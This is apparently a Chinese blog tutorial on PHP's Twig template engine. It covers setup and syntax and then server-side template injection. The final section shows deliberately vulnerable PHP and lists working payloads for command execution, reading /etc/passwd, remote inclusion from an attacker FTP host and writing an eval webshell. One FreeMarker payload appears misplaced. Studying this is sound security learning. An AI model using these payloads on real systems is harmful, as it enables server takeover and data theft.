目录

  1. 1. 前言
  2. 2. 配置
  3. 3. Twig基础语法
    1. 3.1. 变量
    2. 3.2. 过滤器
    3. 3.3. 函数
    4. 3.4. 控制结构
    5. 3.5. 注释
    6. 3.6. 引入其他模板
    7. 3.7. 模板继承
  4. 4. SSTI
    1. 4.1. 1.x
    2. 4.2. 2.x&3.x

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

Twig模板注入

2024/1/10 Web SSTI PHP
  |     |   总文章阅读量:

前言

SSTI,但是这次的模板是PHP上的Twig

官方文档:https://twig.symfony.com/doc/

1.x中文文档:https://www.kancloud.cn/yunye/twig-cn/159454

2.x中文文档:https://twig.shujuwajue.com/

3.x中文文档:https://www.osgeo.cn/twig/intro.html

参考:https://xz.aliyun.com/t/10056

配置

Twig1.x:PHP>=5.2.7(我composer下载的要求要7.2.5以上了);Twig2.x:PHP>=7.0.0;Twig3.x:PHP>=7.2.5

我这里用PHP5.6.9配1.x,PHP7.3.4配2.x和3.x

通过composer安装:

composer require "twig/twig:^3.0"

安装之后可以直接使用 Twig 的 PHP API 进行调用:

<?php
require_once __DIR__.'/vendor/autoload.php';

$loader = new \Twig\Loader\ArrayLoader([
    'index' => 'Hello {{ name }}!',
]);
$twig = new \Twig\Environment($loader);

echo $twig->render('index', ['name' => 'admin']);

Twig 首先使用一个加载器 Twig_Loader_Array 来定位模板,然后使用一个环境变量 Twig_Environment 来存储配置信息。

其中, render() 方法通过其第一个参数载入模板,并通过第二个参数中的变量来渲染模板。

image-20240110113839944


Twig基础语法

模板是一个常规的文本文件。它可以生成任何基于文本的格式(HTML、XML、CSV、LaTeX等)。它没有特定的扩展名, .html.xml.twig都可以

模板包含变量或表达式,在评估编译模板时,这些带值的变量或表达式会被替换。还有一些控制模板逻辑的标签 tags。

简单的模板演示:

先创建一个templates文件夹,在里面创建templates.html

<!DOCTYPE html>
<html>
    <head>
        <title>My Webpage</title>
    </head>
    <body>
        <ul id="navigation">
        {% for item in navigation %}
            <li><a href="{{ item.href }}">{{ item.caption }}</a></li>
        {% endfor %}
        </ul>

        <h1>My Webpage</h1>
        {{ a_variable }}
    </body>
</html>

然后index.php改为

<?php
require_once 'vendor/autoload.php';

use Twig\Environment;
use Twig\Loader\FilesystemLoader;

// 创建Twig模板加载器
$loader = new FilesystemLoader(__DIR__.'/templates');

// 创建Twig环境
$twig = new Environment($loader);

// 准备要传递给模板的数据
$data = [
    'navigation' => [
        ['href' => '/home', 'caption' => 'Home'],
        ['href' => '/about', 'caption' => 'About'],
        ['href' => '/contact', 'caption' => 'Contact'],
    ],
    'a_variable' => 'This is a variable value',
];

// 渲染Twig模板,并将数据传递给模板
$html = $twig->render('template.html', $data);

// 输出渲染后的HTML
echo $html;

image-20240110152406348

可以发现模板中采用了两种形式的分隔符:{% ... %}{{ ... }}

和之前见过的模板一样,前者会执行语句,例如 for 循环,后者用于将表达式的结果输出到模板中

变量

使用 . 来访问变量中的属性/方法/数组单元,也可以使用subscript语法 []

{{ foo.bar }}
{{ foo['bar'] }}

可以用set标签为变量赋值

{% set foo = 'foo' %}
{% set foo = [1, 2] %}
{% set foo = {'foo': 'bar'} %}

过滤器

和jinja一样,可以通过过滤器 filters 来修改模板中的变量

变量与过滤器或多个过滤器之间使用 | 分隔,还可以在括号中加入可选参数。可以连接多个过滤器,一个过滤器的输出结果将用于下一个过滤器中

自行参考官方文档:https://twig.symfony.com/doc/3.x/filters/index.html

下面整点例子:

去掉HTML标签+大写字母开头

{{ name|striptags|title }}

demo:

{{ '<a>whoami<a>'|striptags|title }}

image-20240110152907797

接收一个序列 list + 使用 join 中指定的分隔符将序列中的项合并成一个字符串

{{ list|join }}
{{ list|join(', ') }}

demo:

{{ ['a', 'b', 'c']|join }}
{{ ['a', 'b', 'c']|join('|') }}

image-20240110153139314


函数

在Twig模板中可以直接调用函数

内置函数见官方文档:https://twig.symfony.com/doc/3.x/functions/index.html

demo:

{% for i in range(0, 3) %}
    {{ i }},
{% endfor %}

image-20240110153404944


控制结构

指控制程序流程的所有控制语句 ifelseifelsefor 等,以及程序块等等

出现在 {% ... %}

tag见官方文档:https://twig.symfony.com/doc/3.x/tags/index.html

前面就演示过的for循环语句

{% for item in navigation %}
<li><a href="{{ item.href }}">{{ item.caption }}</a></li>
{% endfor %}
'navigation' => [
        ['href' => '/home', 'caption' => 'Home'],
        ['href' => '/about', 'caption' => 'About'],
        ['href' => '/contact', 'caption' => 'Contact'],
    ]

注释

{ # ...# }不多解释


引入其他模板

{{ include('sidebar.html') }}

模板继承

Twig最强大的地方,但我暂时用不到就不想写,毕竟我自己博客是ejs模板(


SSTI

和其他的模板注入一样,Twig 模板注入也是发生在直接将用户输入作为模板,如下

<?php
require_once __DIR__.'/vendor/autoload.php';

$loader = new \Twig\Loader\ArrayLoader();
$twig = new \Twig\Environment($loader);

$template = $twig->createTemplate("Hello {$_GET['name']}!");

echo $template->render();

很明显在createTemplate 时注入了 $_GET['name']

image-20240110154614955

所以正确的写法应该是下面这样:

<?php
require_once __DIR__.'/vendor/autoload.php';

$loader = new \Twig\Loader\ArrayLoader([
    'index' => 'Hello {{ name }}!',
]);
$twig = new \Twig\Environment($loader);

echo $twig->render('index', ['name' => $_GET['name']]);

image-20240110154805070

1.x

依旧是在PHP7.3.4配置的twig1.0

<?php

require_once 'vendor/autoload.php';

$loader = new Twig_Loader_String();
$twig = new Twig_Environment($loader);
echo $twig->render($_GET['name']);

在 Twig 1.x 中存在三个全局变量:

  • _self:引用当前模板的实例
  • _context:引用当前上下文
  • _charset:引用当前字符集

对应的代码是:

protected $specialVars = [
        '_self' => '$this',
        '_context' => '$context',
        '_charset' => '$this->env->getCharset()',
    ];

这里主要就是利用 _self 变量,它会返回当前 \Twig\Template 实例,并提供了指向 Twig_Environmentenv 属性,这样我们就可以继续调用 Twig_Environment 中的其他方法,从而进行 SSTI。

payload:

  • 命令执行

    getFilter 中有 call_user_func,传参进去实现命令执行

    {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /etc/passwd")}}

    也可以用下面这个

    <#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("cat /etc/passwd") }
  • 远程文件包含

    调用 setCache 方法改变 Twig 加载 PHP 文件的路径,在 allow_url_include 开启的情况下我们可以改变路径实现RFI

    {{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}

2.x&3.x

Twig 2.x 及 Twig 3.x 以后,_self 的作用发生了变化,只能返回当前实例名字符串

<?php
require_once __DIR__.'/vendor/autoload.php';

$loader = new \Twig\Loader\ArrayLoader();
$twig = new \Twig\Environment($loader);

$template = $twig->createTemplate("Hello {$_GET['name']}!");

echo $template->render();

先上payload,有时间再补流程:

{{["id"]|map("system")}}
{{["id"]|map("passthru")}}
{{["id"]|map("exec")}}    // 无回显
{{["phpinfo();"]|map("assert")|join(",")}}
{{{"<?php phpinfo();eval($_POST[cmd])":"/var/www/html/shell.php"}|map("file_put_contents")}}    // 写 Webshell

{{["id", 0]|sort("system")}}
{{["id", 0]|sort("passthru")}}
{{["id", 0]|sort("exec")}}    // 无回显

{{[0, 0]|reduce("system", "id")}}
{{[0, 0]|reduce("passthru", "id")}}
{{[0, 0]|reduce("exec", "id")}}    // 无回显

image-20240110162651612